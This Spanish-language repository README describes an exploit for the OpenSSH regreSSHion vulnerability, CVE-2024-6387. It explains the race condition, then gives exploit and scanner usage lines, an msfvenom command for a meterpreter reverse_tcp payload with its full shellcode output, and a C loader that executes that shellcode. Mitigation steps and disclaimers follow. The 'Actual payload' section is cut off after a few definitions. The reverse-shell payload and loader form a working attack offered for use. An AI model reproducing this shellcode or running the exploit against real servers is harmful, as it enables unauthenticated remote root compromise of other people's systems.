EXPLOIT CVE-2024-6387

💥 EXPLOIT CVE-2024-6387 (regreSSHion)

Herramienta para análisis, detección y pruebas controladas de la vulnerabilidad CVE-2024-6387 en servidores OpenSSH.

⚠️ Aviso Legal y Ético

Este repositorio es exclusivamente educativo.
Úsalo únicamente en:

• Laboratorios (HTB, TryHackMe)
• Entornos propios
• Auditorías con autorización explícita

⚠️ Escanear o explotar sistemas sin permiso es ilegal.
Este contenido está orientado a defensa y aprendizaje.

📑 Tabla de Contenidos

• 📖 Descripción General
• 🔍 Detalles Técnicos
• 📊 Versiones Afectadas
• ⚙️ Uso
• 🛠️ Mitigación
• 📚 Referencias
• 👤 Autor
• 📢 Disclaimer

📖 Descripción General

CVE-2024-6387, conocida como regreSSHion, es una regresión de una vulnerabilidad previamente corregida en 2006 (CVE-2006-5051).

Fue reintroducida en OpenSSH 8.5p1 (2020) y permite:

• Ejecución remota de código (RCE)
• Acceso potencial como root
• Ataque no autenticado
• Sin interacción del usuario

También existe una vulnerabilidad relacionada:

• CVE-2024-6409 → afecta al proceso hijo en entornos con separación de privilegios

🔍 Detalles Técnicos

La vulnerabilidad se basa en una race condition en el manejador de señales de sshd.

🧠 Funcionamiento

1. El servidor define LoginGraceTime (por defecto: 120s)
2. Si el cliente no se autentica:
   • Se dispara la señal SIGALRM
3. El handler ejecuta funciones no seguras para señales, como:
   • syslog()
   • malloc()
   • free()

💣 Impacto

Esto puede provocar:

• Corrupción de memoria (heap)
• Ejecución arbitraria de código

⏱️ Dificultad de explotación

• Requiere ~10,000 intentos (race condition)
• En sistemas de 32 bits:
  • Puede tomar 6–8 horas
• Factores:
  • ASLR
  • Latencia de red
  • Carga del sistema

📊 Versiones Afectadas

🛡️ OpenBSD no es vulnerable gracias a protecciones adicionales implementadas desde 2001.

##⚙️ Uso python3 exploit.py

🔎 Escaneo de servidores OpenSSH

python3 scanner.py <IP> -p 22

```bash

# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Custom payload

#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Actual payload

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

🛠️ Mitigación y Remediación Se recomienda seguir estos pasos de manera urgente, especialmente en activos expuestos a Internet : Actualización Inmediata: Actualizar a OpenSSH 9.8p1 o aplicar los parches específicos de cada distribución . Configuración de sshd: Si la actualización no es viable, establezca LoginGraceTime 0 en el archivo /etc/ssh/sshd_config . Advertencia: Esto previene el RCE, pero expone el servidor a una denegación de servicio (DoS) por agotamiento de conexiones . Control de Acceso: Limitar el acceso SSH mediante controles basados en red (Firewalls/VPN) y segmentación de red para evitar movimientos laterales .

Referencess

• https://www.zscaler.com/blogs/security-research/openssh-vulnerabilities-cve-2024-6387-cve-2024-6409-pose-significant
• https://www.exploit-db.com/exploits/52269
• https://www.offsec.com/blog/regresshion-exploit-cve-2024-6387/
• https://github.com/xaitax/CVE-2024-6387_Check

👤 Autor

Kaleth Corcho
Ingeniería de Sistemas · WolvesTI · Bogotá, Colombia

📢 Disclaimer

• Important Note:
  • This tool is developed and used solely for authorized penetration testing and red teaming exercises only. It is designed to identify and exploit vulnerabilities in OpenSSH's server, on glibc-based Linux systems. Unauthorized use of this tool is strictly prohibited, The owner of this tool is not responsible for any unauthorized access or malicious use of the tool.
• Legal Notice:
  • Unauthorized use of this tool on systems or networks without explicit authorization from the respective owners may violate applicable laws and regulations. Users are responsible for ensuring compliance with legal and ethical standards governing cybersecurity testing and assessments.